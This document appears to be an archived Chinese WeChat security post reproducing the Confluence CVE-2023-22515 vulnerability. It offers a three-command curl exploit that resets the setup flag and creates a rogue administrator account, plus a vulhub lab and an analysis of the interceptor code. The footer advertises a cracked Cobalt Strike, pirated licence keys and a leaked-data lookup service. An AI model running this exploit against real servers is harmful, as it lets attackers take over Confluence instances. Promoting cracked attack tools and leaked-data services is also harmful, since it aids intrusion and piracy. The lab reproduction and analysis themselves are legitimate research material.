Skip to content

Latest commit

 

History

History
294 lines (154 loc) · 10.2 KB

[刨洞安全团队]-2023-10-23-Confluence CVE-2023-22515漏洞复现.md

File metadata and controls

294 lines (154 loc) · 10.2 KB

Confluence CVE-2023-22515漏洞复现

原创 刨洞安全团队 刨洞安全团队

刨洞安全团队

微信号 gh_55f3b3854b4b

功能介绍 刨洞群官方公众号,一群热爱网络安全的人,关注渗透测试、红队攻防、代码审计、内网渗透、WAF绕过、云原生安全等领域技术研究,分享网安学习心得,永远充满激情。


__发表于

收录于合集

影响版本:

8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4  
8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4  
8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3  
8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2  
8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2  
8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1

Exploit:

curl http://127.0.0.1:8090/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\;  
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&email=leet@leet.com&password=leet&confirm=leet&setup-next-button=Next" http://127.0.0.1:8090/setup/setupadministrator.action\;  
curl -X POST -H "X-Atlassian-Token: no-check" http://127.0.0.1:8090/setup/finishsetup.action

docker-compose.yml

version: '2'  
services:  
  web:  
    image: vulhub/confluence:8.5.1  
    ports:  
      - "8090:8090"  
      - "5050:5050"  
    depends_on:  
      - db  
  db:  
    image: postgres:12.8-alpine  
    environment:  
    - POSTGRES_PASSWORD=postgres  
    - POSTGRES_DB=confluence

先引用一张图

先定位到 setupadministrator.action

com.atlassian.confluence_confluence-8.5.1/struts.xml

可以看到处理的 classcom.atlassian.confluence.setup.actions.SetupAdministrator,先经过 defaultSetupStack 的拦截器

<action name="setupadministrator-start" class="com.atlassian.confluence.setup.actions.SetupAdministrator" method="doDefault">  
    <interceptor-ref name="defaultSetupStack"/>  
    <result name="input" type="velocity">/setup/setupadministrator.vm</result>  
    <result name="error" type="velocity">/setup/setupadministrator.vm</result>  
</action>  
  
<action name="setupadministrator" class="com.atlassian.confluence.setup.actions.SetupAdministrator">  
    <result name="input" type="velocity">/setup/setupadministrator.vm</result>  
    <result name="error" type="velocity">/setup/setupadministrator.vm</result>  
    <result name="success" type="redirect">finishsetup.action</result>  
    <result name="custom-setup" type="redirect">finishsetup.action</result>  
    <result name="quick-setup" type="redirect">finishsetup.action</result>  
</action>

defaultSetupStack 拦截器里有一个 setupcheck 检测

<interceptor-stack name="setupStack">  
    <interceptor-ref name="setup"/>  
</interceptor-stack>  
  
<interceptor-stack name="defaultSetupStack">  
    <interceptor-ref name="setupStack"/>  
    <interceptor-ref name="defaultStack"/>  
</interceptor-stack>

经过动态调试大概逻辑是

第一次执行  
return BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup() ? "alreadysetup" : actionInvocation.invoke(); -> Fasle->actionInvocation.invoke();  
  
第二次执行两边的 isSetupComplete 都返回 true。由于返回是 true 所以是返回 alreadysetup

BootstrapUtils.getBootstrapManager().isSetupComplete() 会返回 setupComplete 的值,如果是已经安装则返回 true

而第一次 ContainerManager.isContainerSetup() 不存在则返回 false

一真一假返回假,走到 actionInvocation.invoke();,在 com/opensymphony/xwork2/DefaultActionInvocation.class203行 会再次执行 SetupCheckInterceptor.intercept。由于第二次两边都是 true 所以返回 alreadysetup 字符串

最后 ResultCodealreadysetup,检测为已经安装

该漏洞将 bootstrapStatusProvider.applicationConfig.setupComplete 设置为 false。在这里将不会返回 alreadysetup,也就是说我们在设置了 setupComplete 属性为 false 后;在下一次访问 /setup/* 目录下触发 setupComplete 拦截器前将一直有效

最后漏洞点是出现在,重写拦截器的点上

<interceptor name="params" class="com.atlassian.xwork.interceptors.SafeParametersInterceptor"/>

当请求的 payload 经过 isSafeParameterName 的匹配,最后会去到 stack.setValue()

(然而我动态调试就是断不到这),那你问我,我怎么知道在地方是漏洞点,他钩子就这一个地方能控制不是这也没别的了

这里还需要设置一手 X-Atlassian-Token: no-check 的原因还是拦截器有检测

<interceptor name="xsrfToken" class="com.atlassian.confluence.xwork.ConfluenceXsrfTokenInterceptor"/>  
<interceptor-ref name="xsrfToken"/>

Exploit

参考链接

https://mp.weixin.qq.com/s?__biz=MzkxMzM3NjMxOQ==&mid=2247483685&idx=1&sn=54b435180042beb9b709d1553bc3f5ab&chksm=c17fd475f6085d634f1c529148f7f825400ffe899c51e181193e6bdf7cbd5d01c4697557104a&mpshare=1&scene=1&srcid=1018qojPYalTqmkCEJMtpr6x&sharer_shareinfo=600bda857d36789f7e9d9b21356b7250&sharer_shareinfo_first=600bda857d36789f7e9d9b21356b7250#rd

关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.9破解版

加我微信好友,邀请你进交流群

往期推荐

[

对某金融App的加解密hook+rpc+绕过SSLPinning抓包

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247484615&idx=1&sn=b0cfad610f3e27476b5ea35862060b61&chksm=c35843e4f42fcaf295a2846511ee06c6e2a89a30e1924763264947906e6959319392399f1f8d&scene=21#wechat_redirect)[

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247484581&idx=1&sn=ebf96305b45f385ac2d4652b3274ed03&chksm=c3584386f42fca906f91c79479e67f98e0c28a7b65e9cef5338f7b4dd045d9393a52fc01586c&scene=21#wechat_redirect)[

Fofa新产品 - 绕CDN溯源真实IP!

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247484562&idx=1&sn=81069adf9a0658d02187bd32165d5953&chksm=c35843b1f42fcaa7379c3aa56ad08a6f5af97fc597310daa896a104ee6e32fe7354779c604ad&scene=21#wechat_redirect)[

Cobalt Strike 4.8 正式发布上线!

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247484549&idx=1&sn=c740626cd569a96ccc8ca15db33e459f&chksm=c35843a6f42fcab0420c4b0deaa5d99827e18604d8cbafeb1f457a6d984cc64f9185345f0316&scene=21#wechat_redirect)[

团队在线Windows进程识别正式内测

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247484462&idx=1&sn=ab9b33db5d5bf47acd2a8c7b7e6ed443&chksm=c358430df42fca1bd43b2bf25540c96d417ce31dbbaf0d1a99d4333249e8003c29c79c509299&scene=21#wechat_redirect)[

突发!微信疑似存在RCE

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247484314&idx=1&sn=7c171d3b48384d338149cdd3c41f1aa3&chksm=c35844b9f42fcdafcfc02adadaa8409c3627b79fa88760e8af93f0012ff5d5ece24723990ce4&scene=21#wechat_redirect)[

COM接口学习与利用

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247493640&idx=1&sn=31c5124b2777ee8fd4f3ddd11e582479&chksm=c35baf2bf42c263d95aa129107bfb14870230b930274df65d7cc9195589c6b4ca53abd446aec&scene=21#wechat_redirect)[

域渗透之NTLM Relay

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247493591&idx=1&sn=b150231242cfe62b7f3873e0887bdc07&chksm=c35ba0f4f42c29e215be1ae1ef572995b5483d9f9541f46ffdb9ee235b0bef5316c5abea2e05&scene=21#wechat_redirect)[

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247493560&idx=1&sn=cefe544001777df7480bd4c05827bf26&chksm=c35ba09bf42c298d22d23e712a48bdde7dee871cbd7fdb81013d6562960319add2dbc8ad3849&scene=21#wechat_redirect)[

KKCMS 1.371 代码审计

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247493518&idx=1&sn=7b8ac2ee33526e0943fc0bc39b7f59c4&chksm=c35ba0adf42c29bbb6328a2e94126705d510569208b38124109f89e80ba917afe409cd9be0da&scene=21#wechat_redirect)[

日常记录对某站点的实战渗透

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247493429&idx=1&sn=a1a25f7ce29045b6da63e23e4bbc94ec&chksm=c35ba016f42c29007cb2d6c6ac76c22fd1e3b1bf6e0f397d1355cba176e0b8b423a6befb5bb8&scene=21#wechat_redirect)[

国产之光IDE,自带国产特色VIP功能!

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247493223&idx=2&sn=5d23802651b7f4457e5ca2f73ee40e96&chksm=c35ba144f42c2852bea3b0491cd8550cad5f63b68e6859f2c2445cbf3c0e7a882efb06d15503&scene=21#wechat_redirect)[

善攻者,动于九天之上。善守者,藏于九地之下!

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247492998&idx=1&sn=2c48b443246935e17ecb94a15f848441&chksm=c35ba2a5f42c2bb3c219202b5418188ac571781d34784459ede71c2078a082eb8577a53c741e&scene=21#wechat_redirect)[

红蓝对抗,强则强,弱则亡!

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247492963&idx=1&sn=49908b3131787157dbfbd2673712875c&chksm=c35ba240f42c2b566cb72b1fefcaa01578e148fde8f2d55d6c3a21cb153248c2815b1b4dc312&scene=21#wechat_redirect)[

谈一谈我是如何入门安全的,七年安全生涯总结

](https://mp.weixin.qq.com/s?__biz=Mzk0OTM5MTk0OA==&mid=2247492817&idx=1&sn=354a08853e3a17fec1a1e04c460d7685&chksm=c35ba3f2f42c2ae482d81e54349add720b655fdfdcd90dd93933b0d7d298b6cd9fe782bcdb2c&scene=21#wechat_redirect)

备用号,欢迎关注

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看